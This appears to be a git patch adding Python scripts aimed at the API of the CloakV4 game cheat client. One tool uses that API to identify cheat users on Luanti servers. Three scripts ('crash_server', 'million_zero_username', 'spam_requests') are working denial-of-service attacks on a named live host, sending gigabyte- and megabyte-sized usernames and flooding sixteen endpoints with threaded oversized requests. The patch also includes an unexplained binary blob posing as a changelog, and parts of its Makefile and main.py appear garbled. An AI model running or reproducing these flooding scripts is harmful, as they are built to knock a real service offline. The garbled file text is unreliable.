From fcecf1a04b2daa9187d8b6eafcced79f3148e1ca Mon Sep 17 00:00:00 2001 From: a-bad-dev <244852891+a-bad-dev@users.noreply.github.com> Date: Wed, 3 Jun 2026 01:25:28 -0300 Subject: [PATCH] add the scripts --- cloakcatcher/CHANGELOG.md | Bin 0 -> 20480 bytes cloakcatcher/Makefile | 17 +++++ cloakcatcher/README.md | 51 +++++++++++++ cloakcatcher/cloakcatcher.conf | 1 + cloakcatcher/extract_config.py | 35 +++++++++ cloakcatcher/fetch_data.py | 42 +++++++++++ cloakcatcher/handle_input.py | 87 +++++++++++++++++++++ cloakcatcher/hash_data.py | 26 +++++++ cloakcatcher/main.py | 133 +++++++++++++++++++++++++++++++++ crash_server/main.py | 25 +++++++ million_zero_username/main.py | 32 ++++++++ spam_requests/main.py | 41 ++++++++++ 12 files changed, 490 insertions(+) create mode 100755 cloakcatcher/CHANGELOG.md create mode 100755 cloakcatcher/Makefile create mode 100755 cloakcatcher/README.md create mode 100755 cloakcatcher/cloakcatcher.conf create mode 100755 cloakcatcher/extract_config.py create mode 100755 cloakcatcher/fetch_data.py create mode 100755 cloakcatcher/handle_input.py create mode 100755 cloakcatcher/hash_data.py create mode 100755 cloakcatcher/main.py create mode 100755 crash_server/main.py create mode 100755 million_zero_username/main.py create mode 100755 spam_requests/main.py diff --git a/cloakcatcher/CHANGELOG.md b/cloakcatcher/CHANGELOG.md new file mode 100755 index 0000000000000000000000000000000000000000..afd3cd9bbf71bcda0b5c2042188d8a8b8215eb4e GIT binary patch literal 20480 zcmYe!$xqBqPAo~zNG;M!&d*C@pgu4#FfcGTHDxd`FfcSXH9)38QXpXlLsLToLsK(D zV>4q014Cm2GeZUi1L`{k)5Ox^lEfkf1%}e%)FMn-ga{#dgvues;u=z}9d#_VLm;)H zq$n}DBp#IYGt>17DyeM&0|O|(U3+AfeR6yb^_ye1)V`h0MIm0u&UKKtY(7n479(r2qjC6QUu0Ei;LSD~Q!W z(pHdITwI<4*QB6;t_`dpzbHisMO$J@N>OTYF+v|qTXAYpS!z*yW&x^tP&^?ND0{#K(i8B|cuk)>c6&J|2{c3rgl1hMI%6noUbBNzMQ#XWEqgpaKWf$ivhAGc+|cMwI{Np!T1Uk;!QL4-|AX z$I1#QDF9T^lVA21r52W^7MH-w_=5c65*>x~)Dj$}Kd5L&Sg%o9lw$?TwmJ$~#rb(w z;1XU(0cvP`No7GQSQ@GH=iH@2?Q#3nU@Y~AAloN0puq=u8@q(Vuj@V(wr1fvmp^w z5tQbXDCDOpB<3k(=9MMpWTwF4Pe&myUm*_?kf2H>FEzO&Gd~Ypu7k>3Nc{pT`18}! zax(K$^|;_Qhm}HgYORtIsGNrtxSaUPcuYUTJv{u1c)VpuMq*w{PHKE+UO{OIt!e-Q z<-e(cktwYFH!?6ZXD~1{GBYwBZU5tqI4VghE1;zS%4z`A&IF>ZkKD<`QyCz;1!pTC z(lk^GPt8fr&rJmtInJO#EN93dmO`1Ko{63zs3-sxt_4N;xdkN(whDgvd8v?wJ*3cr zO6292C}id-L@O!jC@2|%2qUFfP@xEGf+_{4=A<8Y!u1iKRIunka@C!3@cPX)RX3 z&Loy3Z>s>#xEe|^c~EC+80s2nS}7>u>dc@<5Uj70nWg|U(H0a8ptdxUfD$A? zGSfiia$07(f}*WLbuFl+4z7(jIbnSmaGjz6cNMb7L5*z%jRH{bL?Jb=B((_aJy=*+ zDJVgDM{sw8oB->*z>HUl1^Jy5-1SKT^{0wUiZE>hOXnA*kZT)Qe+twtXot#50n{)- z*yR}js>GmiT#~O)3`zj_eTUU&P~)MNfqGk3oM=`BfV$H8X|M!EjAdA@0vQgq2Na5_ zImO_<7HKhv8BZXyh>Z~(x}kwUOc;YrfO`*OcYaX`k%5MmFF@r3XI^SKX2%^%w;h%S zVV!gZC1^SUr9(*Cg$N)NK>da2Uqb~DD!_4qFhD^8B!G~Hq%WktwvrOq%bc7Fpk6F! zi~+=l_OcN^fs}Konc4{4@&tRCw)q$yJ2cM0SnYvC0W_I|f)5mUXr)pxcqjxUp%5D6 zL!gwvY75BV)FO}x;4u(LsRW7%vNILj8jvX@WG7U8Aa{XWMV^PDB@D;_lo|vSk4hOO zB?VUc`XC!pi;DGfN)z)+GWGI{()B^=A;}Wtc0?jX8V93Mc2Y{r$x%Y&7EszlmxfAh%TZ$ne+XnG z7Snq8kI?*&fw_qxqW@=X3hMtEn3<0D|LBo=K>a^N3ZSg>2TDshnMtr-UvWmFk*OKp z-X7Fu4bW&2xY7cT?G=|4fjS(JAu=vb*!UPokzQ(Ea(+rGxZjeYV5lq39X!ES3~+&)JQ_+$N?ZyG3i0vr3h|I$50r%RKoVdP zC|@C-OF=QBa4fQHW7ckB_h6(pS)rj|W?(5wEFGqo4t1D=652 zC1Cs-5Cbd&a+U(fuo|wI`1tsE{hIh15JO)fCO%##9?S#rmas@aB2Zy^TC@9!M$9$q;{oPnDM;DhM z*Wh4eIcU#TDV8h1KPUv80FX517nLZ*as|5vh52{}haee=)+CSR;wml50qX`4whFLr zM@ed8Zent3N@k*7QetsxPG(+dg`|q}f=qp|kiHVAZ><38 z6euVta~0$yR;CsegB98;fR#a9t`C)gsOMAwDF#oqfQnVf048YM5j?339t?x#Gd+kr z7guslVsSA_76jFNpm{Nf3eZ9ahzVSrkjX4i?;|r!0Tu_K$!kzINFgyVMFAZ4FcB*S zWd*lV_;4bqqXQYH%FRzn)dS6GadM)#DXlaoCm!N2kYZ38;pF55cY73+6@oMK(sNRE zA@cYQ0!_!~q(Y5?7z3?Wy;Ccb@)L_vJV671MWqELAm74AT3stLOEUA)_4FX!9!M2t z0GfUS1qhm{C?NwG(hVspO@$Z;%0sCs@sQB~P&x$(fODA!Bw>Tv2b{&J#l@NVdGRIr z*{OLTRfxO^o`};{04D}ewCgA+AXasN(gp}4@{5%MEH}Zrqab-OhGZMiLJcbgkSpNM z0!1WP1(c}8qBXy`L`gGR3B{q1!3}7_i_g!CPcAb7En-Q9P2@w}4pRZ1$1|sgROdlA2tSnxc@O2gyxgCXiuzup2-F>7e;W(AtgkR1E_iY{qLs z&4wDDrUWq?G;VFB5TjI$>YC`h*l6{v{LH-66!1C{_1M}NB^{XE;GuqeI$@)UU~NjE zBo57KVE;p%pyZdY0JRmH2SK?6EO)U=}1;tai*JcvZJb4gK- zg0_NlEJzmAKGZ{<$w*VGR@YM3vM{Ixi7O~8_+=)i7U|~X=VycFb~E!7Ky7b@k_^xa zn92f>n1umo!B=WgW_GcTLQ-joLUB%JdIo6u4Y&XXt*c5*%1Pzo;sj-3j1mTKCWa)v zV$`$^t3-4Zs%v!=lt44;n$b$2@(P-ElJiURK=VBYpr9$v&MYWMO;NB_FaQTEC?Piv_i%f zX}JY7pQ4m8n1u`{CsD-=CnwPb4XB#JENnmq;3#e&{)MJQXl_J}6;Q3M4NI$#@)D!O z;Uu=q;p9|;#0*lY0}+T;f|WyvC26n%4WSEK0u`4OX~49Bg<`>lK0-Z+g*P0aK87YN zPEJUZO0T>qvm{kRDW)h|NkLmdsYYKnCPpb5k~~xuOkx$Z71ESq!E=InsVNH8V3}I| z>YUU(sDp|%YoSe$Vm*amXd11CCRT)$lBR;PLU=}{LP~yWu|h#*Nk)F2LULkJszPR( zLZ(7SVp*y}qC!$)a&~b}VsQp2Nhjthr0If|F@md6aGK`?t&suQ4fPH*0+EYTPEJt9 zAijiz*Vr+6_={k0*B2Dd&=M_82{QN&E>NM7qYf%3!R4TWMm0}w zZb4>&f^H=jXF+CxF?iiGL>FiUbYf0UYLSAjZc^uX$t+UPEdUL(>T_}CmMQ3_DWqf; zm*^vFfXXHpfMhXt6hLLUl5ECuQd8b8)67XXGm=DJj?~U|2g?%fKL4M;BjLz1$Rdil9D& zK>jx|LyZ3#nj3)j{}>vWkFNiwenem~5q12ROIcZ=EVT$UDxv^hM#qJm_(5xL6BUYc z!FjwWKfNe1R{_)*E=dJ99RnZ@RAW%@GBYJLuOu@KvV*7?v{nkVgjY)oY+RU$LUKlG zVu?a>4yd1{rDeqx9iEz0oLQ0@s{vYQP;8~I56(flWhQ#%sY!Z?1qJ$=T+!~CB_5?o z2sP=MB^jkjddc~@`iP-ENLdhOqOZxtrKRPPuK-%&SDXQAHkW{wBSUspldN`d;!T69fiyi^da4zdva+&5cxGNoetEGK7qp;Lh=v6g!ZVNp5xk@#CBHl`CqFTz zSic;iQD2iwOAAz0D-@R&ftNfMLslh%LN&htv{V2b>X2eop&+wBON%QcBQ;L}v>Qsn zIX^cSJU$3n3<+WumF8J-C7=}Bu);loiz_4_yrBhTIwZJsAO?X1((-dsQj0*N041QI z;gZD6Ja7;}x59vWA-L^>BoT1j!ZsZjR6;CF&d)6XttQU|?=nk-g_(kDMQUbBef`1p)$WzAty6C72@*L-2Ads(D=1NQ7Wii4H|v{sV~;!0;e$_ z(4e@2hD&NvCU`Mwib7~oXTtO)p;yQ@KK_w6( ze-uOVCdg5sas^~c1`UmSf=A{(nXQo(jrRRgnXa&&L zlEfT^f@E-BNzN!u&IVAl-16!WMf&15%I61C)<5A?0I15x7bzuFNY* ztN>MsnI%?S)tLK0trV1OBJ)d8*NuY)N$fz&)4`4@Gl9%)K&BPYl!IqI@{3Zy${_

T zP@DnV{ZpI@F4$pHdJuJ(D+v{#b9bP^50rpQ5{uGPLDNDCi3*^`cV=29R)3| zl>9vP5{1+hP@Ms)+mZBU=jE3xl!LMX%%qfj(BzVq7MGTmXBsGVfHO!bXkJMn5j0)` zs(w;n?H?V8u{aWdf(9(_C6+)s4WMkNsRwFD!0pR~?nEsr&C3JjPf!5`sZPPI4^Uc! zRC?g;t6*OwfTI^yHG cloakcatcher.conf diff --git a/cloakcatcher/README.md b/cloakcatcher/README.md new file mode 100755 index 0000000..d3cc1c8 --- /dev/null +++ b/cloakcatcher/README.md @@ -0,0 +1,51 @@ +# CloakCatcher +## version 1.4.1 +CloakCatcher is a small program written in Python 3 to identify users of the **CloakV4 cheat client**: +[Website](https://cloak-v4.web.app/) +[GitHub](https://github.com/TeamAcedia/CloakV4/) + +**Do not share this script with anyone.** If a CloakV4 developer gets their hands on this script, it's useless. (lol nvm) +## Usage: +### Windows: +Install [Python 3](https://python.org/downloads/windows/) +**Make sure to select the option to install pip** +Then open Command Prompt and run: +`pip3 install requests` + +To run the script, open the folder that contains the script in Command Prompt and run: +`python cloakcatcher.py` + +To compile it to a Windows Executable (.exe): +Open Command Prompt in the folder CloakCatcher is in, and run: +`pip3 install pyinstaller` +followed by: +`python -m PyInstaller -Fn"CloakCatcher" cloakcatcher.py` +The executable is located in `dist\`. You can copy this file anywhere you like and remove the remaining files. + +### Linux (Debian and Ubuntu, maybe Mint): +Install **Python 3**: +Run `sudo apt install python3` in Terminal +Run `sudo apt install python3-requests` in Terminal +or +`pip3 install requests --break-system-packages` in Terminal + +To run the script: +Open Terminal in the folder CloakCatcher is in, and run: +`python3 cloakcatcher.py` + +To compile it to an executable file: +Run `make`. +The executable is located in `bin/`. You can copy this file anywhere you like and remove the remaining files. +To remove files created during build time that are not needed: +Run `make clean` +To restore CloakCatcher's source code to the original state: +Run `make clean && make reset` +This will remove build files and executables, and clear the configuration file. +### MacOS/iOS/Android: +go get a real pc and chuck your current device out the window +## Config file: +The config file (`bin/cloakcatcher.conf`) stores configuration for CloakCatcher. +Here is the proper syntax of it: +{"cloakv4_username": "", "cloakv4_password": "", "server_ip": "", "server_port": "", "serverlist_url": ""} +serverlist_url should be set to "http://servers.luanti.org/list" unless you are targeting a specific list, **don't edit this unless you know what you are doing.** +**If you are using a compiled version, edit `bin/cloakcatcher.conf` (created at buildtime). If you are directly running the script without compiling, edit `cloakcatcher.conf`** diff --git a/cloakcatcher/cloakcatcher.conf b/cloakcatcher/cloakcatcher.conf new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/cloakcatcher/cloakcatcher.conf @@ -0,0 +1 @@ + diff --git a/cloakcatcher/extract_config.py b/cloakcatcher/extract_config.py new file mode 100755 index 0000000..10969ea --- /dev/null +++ b/cloakcatcher/extract_config.py @@ -0,0 +1,35 @@ +# extract_config.py +# Made by user333_ +# Meant to be included with main.py + +from ast import literal_eval +from sys import exit + +CONFIG_FILE = "cloakcatcher.conf" + +def extract_config() -> dict: + + try: + + with open(CONFIG_FILE, "r") as f: + + config_data = f.read().strip() + + config = literal_eval(config_data) + restructured_config = { + "username": config["cloakv4_username"], + "passwd": config["cloakv4_password"], + "address": config["server_ip"], + "port": config["server_port"], + "serverlist_url": config["serverlist_url"]} + return restructured_config + + except Exception as e: + + print(f"[WARNING] {CONFIG_FILE} is empty, missing, or incorrectly structured.") + return {} + +if __name__ == "__main__": + + raise Exception("[ERROR] You ran the wrong script, run main.py instead.") + exit(1) diff --git a/cloakcatcher/fetch_data.py b/cloakcatcher/fetch_data.py new file mode 100755 index 0000000..64e4370 --- /dev/null +++ b/cloakcatcher/fetch_data.py @@ -0,0 +1,42 @@ +# fetch_data.py +# Made by user333_ +# Meant to be included with main.py + +from requests import post, get +from sys import exit + +def fetch_data(url: str, json: dict, request_type: str) -> dict: + + if request_type == "post": + + try: + + data = post(url = url, json = json) + return data.json() + + except Exception as e: + + NetworkError(e) + + if request_type == "get": + + try: + + data = get(url = url) + return data.json() + + except Exception as e: + + NetworkError(e) + +def NetworkError(e: str): + + raise Exception(f"""[ERROR] Error 1: An exception occured while attempting to fetch data. +This could be a result of an invalid request, no network connection, or the server is offline. +Exception: {e}""") + exit(1) + +if __name__ == "__main__": + + raise Exception("[ERROR] You ran the wrong script, run main.py instead.") + exit(1) diff --git a/cloakcatcher/handle_input.py b/cloakcatcher/handle_input.py new file mode 100755 index 0000000..2b7a80e --- /dev/null +++ b/cloakcatcher/handle_input.py @@ -0,0 +1,87 @@ +# handle_input.py +# Made by user333_ +# Meant to be included with main.py + +from extract_config import extract_config +from sys import exit + +def handle_input() -> dict: + + try: + + print("Welcome to CloakCatcher v1.4.1") + + prompt = None + + while prompt not in ["", "1", "2"]: + + print("Select a function:\n") + print("1. Scan an individual server for CloakV4 users (default)") + print("2. Scan all servers for CloakV4 users") + + prompt = input("\nSelect (1-2): ").strip() + + config = extract_config() + + if prompt == "1" or prompt == "": + + if config != {}: + + username: str = input("CloakV4 username (press enter for default): " ).strip() or config["username"] + passwd: str = input("CloakV4 password (press enter for default): " ).strip() or config["passwd"] + address: str = input("IP of server to scan (press enter for default): " ).strip() or config["address"] + port: str = input("Port of server to scan (press enter for default): ").strip() or config["port"] + + else: + + username: str = input("CloakV4 username: " ).strip() + passwd: str = input("CloakV4 password: " ).strip() + address: str = input("IP of server to scan: " ).strip() + port: str = input("Port of server to scan: ").strip() + + new_config = { + "username": username, + "passwd": passwd, + "address": address, + "port": port, + "serverlist_url": "" + } + + return new_config + + if prompt == "2": + + if config != {}: + + username: str = input("CloakV4 username (press enter for default): ").strip() or config["username"] + passwd: str = input("CloakV4 password (press enter for default): ").strip() or config["passwd"] + servlist: str = input("Serverlist URL (press enter for default): " ).strip() or config["serverlist_url"] + + else: + + username: str = input("CloakV4 username: ").strip() + passwd: str = input("CloakV4 password: ").strip() + servlist: str = input("Serverlist URL (press enter for default serverlist): ").strip() or "http://servers.luanti.org/list" + + new_config = { + "username": username, + "passwd": passwd, + "address": "all", + "port": "all", + "serverlist_url": servlist + } + + return new_config + + else: + + print ("Invalid response.") + + except Exception: + + raise Exception("[ERROR] Invalid configuration.") + exit(1) + +if __name__ == "__main__": + + raise Exception("[ERROR] You ran the wrong script, run main.py instead.") diff --git a/cloakcatcher/hash_data.py b/cloakcatcher/hash_data.py new file mode 100755 index 0000000..abca085 --- /dev/null +++ b/cloakcatcher/hash_data.py @@ -0,0 +1,26 @@ +# hash_data.py +# Made by user333_ +# Meant to be included with main.py + +from hashlib import sha256 +from sys import exit + +def hash_data(data: str) -> str: + + try: + + data = data.encode() + h = sha256() + h.update(data) + hashed_data = h.hexdigest() + return hashed_data + + except Exception: + + raise Exception(f"[ERROR] Failed to hash binary data '{data}'") + exit(1) + +if __name__ == "__main__": + + raise Exception("[ERROR] You ran the wrong script, run main.py instead.") + exit(1) diff --git a/cloakcatcher/main.py b/cloakcatcher/main.py new file mode 100755 index 0000000..df3182a --- /dev/null +++ b/cloakcatcher/main.py @@ -0,0 +1,133 @@ +# CloakCatcher v1.4.1 +# Made by user333_ + +print(r""" + ___ _ _ ___ _ _ + / __\ | ___ __ _| | __ / __\__ _| |_ ___| |__ ___ _ __ + / / | |/ _ \ / _` | |/ // / / _` | __/ __| '_ \ / _ \ '__| +/ /___| | (_) | (_| | None: + + CloakCatcher.main() + +class CloakCatcher: + + def main() -> None: + + try: + + if ADDRESS == "all" and PORT == "all": # Full serverlist scan mode. + + CloakCatcher.full_serverlist() + + else: # Single-server scan mode. + + CloakCatcher.single_server() + + except KeyboardInterrupt: + + print("Exiting...") + exit(0) + + def single_server() -> None: + + while True: + + hashed_passwd = hash_data(PASSWD) + session_token = fetch_data(url + login_url, { + "username": USERNAME, + "password": hashed_passwd + }, + "post")["session_token"] + players_on_cv4 = fetch_data(url + players_url, { + "token": session_token, + "server_address": ADDRESS, + "server_port": PORT + }, + "post")["players"] + + if len(players_on_cv4) > 0: + + print("\nPlayers detected on CloakV4:\n") + + for n in range(0, len(players_on_cv4)): + + print(f"Playername: \"{players_on_cv4[n]['joined_name']}\", CloakV4 username: \"{players_on_cv4[n]['username']}\"") + + else: + + print("No players detected on CloakV4.") + + input("\nPress Enter to refresh.\nPress [Ctrl + C] to exit.\n") + print(f"{'*'*80}\n") # Nicer-looking in code than typing 80 asteriks, but slightly less readable + + def full_serverlist() -> None: + + while True: + + servers = fetch_data(SERVLIST, {}, "get")["list"] + + count = 0 + skipped = 0 + + for server in servers: + + if server["clients"] > 0: + + count += 1 + hashed_passwd = hash_data(PASSWD) + session_token = fetch_data(url + login_url, { + "username": USERNAME, + "password": hashed_passwd + }, + "post")["session_token"] + + players_on_cv4 = fetch_data(url + players_url, { + "token": session_token, + "server_address": server["address"], + "server_port": str(server["port"]) + }, + "post")["players"] + + stdout.write("\r[" + "|/-\\"[count % 4] + f"] Scanned {count}/{len(servers)} servers. Skipped {skipped} servers.") # Why does python care if i have a backslash in an f-string... + + if len(players_on_cv4) > 0: + + for n in range(0, len(players_on_cv4)): + + print("\n\nPlayers detected on CloakV4:") + print(f"Server: \"{server['name']}\" ({server['address']}:{server['port']})") + print(f"Playername: \"{players_on_cv4[n]['joined_name']}\", CloakV4 username: \"{players_on_cv4[n]['username']}\"\n") + + else: + + skipped += 1 + stdout.write("\r[" + "|/-\\"[count % 4] + f"] Scanned {count}/{len(servers)} servers. Skipped {skipped} servers.") # See line #63, comment. + + input("\n\nPress Enter to refresh.\nPress [Ctrl + C] to exit.\n") + print(f"{'*'*80}\n") + +if __name__ == "__main__": + + main() diff --git a/crash_server/main.py b/crash_server/main.py new file mode 100755 index 0000000..6243050 --- /dev/null +++ b/crash_server/main.py @@ -0,0 +1,25 @@ +#!/bin/python3 + +import requests +import hashlib + +PASSWORD = '0' +USERNAME = '0'*1024*1024*1024 + +API_URL = "https://teamacedia.baselinux.net:22222/" +ENDPOINT_REGISTER = "/api/register" + +def main() -> int: + response = requests.post( + url = API_URL + ENDPOINT_REGISTER, + json = { + "username": USERNAME, + "password": PASSWORD + } + ) + + print(response.status_code) + return 0 if response.status_code == 200 else 1 + +if __name__ == '__main__': + exit(main()) diff --git a/million_zero_username/main.py b/million_zero_username/main.py new file mode 100755 index 0000000..a0ac14a --- /dev/null +++ b/million_zero_username/main.py @@ -0,0 +1,32 @@ +#!/bin/python3 + +import requests +import hashlib + +PASSWORD = '0' +USERNAME = '0'*1024*1024 + +API_URL = "https://teamacedia.baselinux.net:22222/" +ENDPOINT_REGISTER = "/api/register" + +def hash_pw(pw: str) -> str: + h = hashlib.sha256() + h.update(pw.encode()) + return h.hexdigest() + +def main() -> int: + pw = hash_pw(PASSWORD) + + response = requests.post( + url = API_URL + ENDPOINT_REGISTER, + json = { + "username": USERNAME, + "password": pw + } + ) + + print(response.status_code) + return 0 if response.status_code == 200 else 1 + +if __name__ == '__main__': + exit(main()) diff --git a/spam_requests/main.py b/spam_requests/main.py new file mode 100755 index 0000000..23393d3 --- /dev/null +++ b/spam_requests/main.py @@ -0,0 +1,41 @@ +import requests, time, _thread + +API_URL = "http://teamacedia.baselinux.net:22222" + +ENDPOINTS = [ + "/api/register", + "/api/login", + "/api/verify-session", + "/api/server/join", + "/api/server/leave", + "/api/server/players", + "/api/cosmetics/capes", + "/api/users/capes", + "/api/users/capes/set_selected", + "/api/users/capes/get_selected", + "/api/users/get_all", + "/api/rewards/create", + "/api/rewards/update", + "/api/rewards/delete", + "/api/rewards/get_all", + "/api/rewards/redeem" +] + +def spam_endpoint(endpoint: str) -> None: + response = requests.post( + url = API_URL + endpoint, + json = { + "0": "0"*1024*1023 + } + ) + + print(f"{endpoint} returned status code {response.status_code}") + +def main() -> None: + while True: + for endpoint in ENDPOINTS: + time.sleep(0.005) + _thread.start_new_thread(spam_endpoint, (endpoint,)) + +if __name__ == "__main__": + main()